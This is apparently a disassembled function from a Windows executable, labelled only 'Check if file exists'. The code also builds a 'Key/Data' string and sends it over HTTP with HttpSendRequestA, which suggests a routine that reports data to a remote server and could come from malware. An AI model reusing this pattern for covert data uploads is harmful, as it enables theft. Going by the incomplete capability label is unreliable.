Function at 0x14001dbe0
Capabilities:
Check if file exists

Disassembly:
mov rax, rsp
mov qword [rax + 0x20], rbx
mov qword [rax + 0x18], r8
mov qword [rax + 0x10], rdx
mov qword [rax + 8], rcx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0x100
mov r13d, r9d
mov rsi, r8
mov r14, rdx
xor r12d, r12d
mov dword [rsp + 0x30], r12d
mov eax, dword [0x140073480]
lea edi, [r12 + 1]
test dil, al
jne 0x14001dc44
or eax, edi
mov dword [0x140073480], eax
call fcn.140015060
lea rcx, [0x140053460]
call fcn.14002bb88
nop
lea rdx, [0x140073400]
lea rcx, [rbp - 0x59]
call fcn.14000c0d8
xor ebx, ebx
cmp dword [rbp - 0x59], 2
setb bl
lea rcx, [rbp - 0x59]
call fcn.14000c360
test ebx, ebx
jne 0x14001dcc5
lea rdx, str.CMD3
lea rcx, [0x14005f6f0]
call fcn.140025b7c
nop
mov rdx, qword [r14]
sub rdx, 0x18
or edi, 0xffffffff
mov eax, edi
lock xadd dword [rdx + 0x10], eax
add eax, edi
test eax, eax
jg 0x14001dc9f
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
nop
mov rdx, qword [rsi]
sub rdx, 0x18
mov eax, edi
lock xadd dword [rdx + 0x10], eax
add eax, edi
test eax, eax
jg 0x14001de52
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
jmp 0x14001de52
call fcn.1400064a8
mov rcx, rax
test rax, rax
je 0x14001e02d
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0x30], rax
mov eax, dword [0x1400733e8]
test dil, al
jne 0x14001dd09
or eax, edi
mov dword [0x1400733e8], eax
call fcn.1400068ec
lea rcx, [0x140053410]
call fcn.14002bb88
mov rax, qword [0x140073358]
mov r8d, dword [rax + 0x24]
lea rdx, [0x140061230]
lea rcx, [rsp + 0x30]
call fcn.14000e420
mov rax, qword [r14]
mov rbx, qword [rsp + 0x30]
cmp dword [rax - 0x10], 0
jne 0x14001ddb2
mov rcx, qword [rsi]
cmp dword [rcx - 0x10], 0
je 0x14001dd51
test rbx, rbx
je 0x14001e038
mov rdx, rbx
call fcn.14003f7f0
test eax, eax
jne 0x14001ddb2
test r13d, r13d
jne 0x14001ddb2
mov eax, dword [0x1400733e8]
test dil, al
jne 0x14001dd7a
or eax, edi
mov dword [0x1400733e8], eax
call fcn.1400068ec
lea rcx, [0x140053410]
call fcn.14002bb88
mov r8d, 0x967
mov rdx, qword [0x140073358]
mov rdx, qword [rdx + 0x860]
lea rcx, [rsp + 0x40]
call fcn.140020118
mov r12d, 3
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x14001ddb2
mov r15b, dil
jmp 0x14001ddb5
xor r15b, r15b
or edi, 0xffffffff
test r12b, 1
je 0x14001dde2
mov rdx, qword [rsp + 0x40]
add rdx, 0xffffffffffffffe8
mov eax, edi
lock xadd dword [rdx + 0x10], eax
add eax, edi
test eax, eax
jg 0x14001dddd
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
mov rbx, qword [rsp + 0x30]
test r15b, r15b
je 0x14001de5c
lea rdx, [0x140063d70]
lea rcx, [0x14005f6f0]
call fcn.140025b7c
nop
lea rdx, [rbx - 0x18]
mov eax, edi
lock xadd dword [rdx + 0x10], eax
add eax, edi
test eax, eax
jg 0x14001de16
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
nop
mov rdx, qword [r14]
sub rdx, 0x18
mov eax, edi
lock xadd dword [rdx + 0x10], eax
add eax, edi
test eax, eax
jg 0x14001de34
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
nop
mov rdx, qword [rsi]
sub rdx, 0x18
mov ecx, edi
lock xadd dword [rdx + 0x10], ecx
add ecx, edi
test ecx, ecx
jg 0x14001de52
mov rcx, qword [rdx]
mov r8, qword [rcx]
call qword [r8 + 8]
mov eax, 1
jmp 0x14001e007
lea rax, [rsp + 0x58]
mov qword [rsp + 0x38], rax
mov rdx, rsi
lea rcx, [rsp + 0x58]
call fcn.14000d3c8
mov rbx, rax
mov rdx, r14
lea rcx, [rbp - 0x79]
call fcn.14000d3c8
nop
mov dword [rsp + 0x20], r13d
mov r9, rbx
mov r8, rax
lea rdx, [rbp - 0x71]
mov rbx, qword [rbp + 0x67]
mov rcx, rbx
call fcn.14001b704
mov r8, rax
lea rdx, [rsp + 0x50]
call fcn.14001d4d4
nop
call fcn.1400064a8
mov rcx, rax
test rax, rax
je 0x14001e022
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0x38], rax
mov r9, qword [rsp + 0x50]
mov r8d, 1
lea rdx, str.Key_dData_s
lea rcx, [rsp + 0x38]
call fcn.14000e600
xor r15d, r15d
lea r8, [rsp + 0x48]
lea rdx, [rbp - 0x69]
mov rcx, rbx
call fcn.14001a020
mov rbx, qword [rsp + 0x38]
test eax, eax
je 0x14001df5a
mov eax, dword [rbx - 0x10]
mov dword [rsp + 0x20], eax
mov r9, rbx
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.WININET.dll_HttpSendRequestA]
mov r15d, eax
lea rdx, [0x140063da0]
lea rax, [0x140063db8]
test r15d, r15d
cmovne rdx, rax
lea rcx, [0x14005f6f0]
call fcn.140025b7c
mov rcx, qword [rbp - 0x69]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x14001df6e
lea rdx, [0x140063dd0]
lea rcx, [0x14005f6f0]
call fcn.140025b7c
nop
lea rdx, [rbx - 0x18]
mov eax, edi
lock xadd dword [rdx + 0x10], eax
add eax, edi
test eax, eax
jg 0x14001df89
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
nop
mov rdx, qword [rsp + 0x50]
add rdx, 0xffffffffffffffe8
mov eax, edi
lock xadd dword [rdx + 0x10], eax
add eax, edi
test eax, eax
jg 0x14001dfa9
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
nop
mov rdx, qword [rsp + 0x30]
add rdx, 0xffffffffffffffe8
mov eax, edi
lock xadd dword [rdx + 0x10], eax
add eax, edi
test eax, eax
jg 0x14001dfc9
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
nop
mov rdx, qword [r14]
sub rdx, 0x18
mov eax, edi
lock xadd dword [rdx + 0x10], eax
add eax, edi
test eax, eax
jg 0x14001dfe7
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
nop
mov rdx, qword [rsi]
sub rdx, 0x18
mov eax, edi
lock xadd dword [rdx + 0x10], eax
add eax, edi
test eax, eax
jg 0x14001e004
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
mov eax, r15d
mov rbx, qword [rsp + 0x158]
add rsp, 0x100
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
mov ecx, 0x80004005
call fcn.140006280
nop
mov ecx, 0x80004005
call fcn.140006280
nop
mov ecx, 0x80004005
call fcn.140006280
int3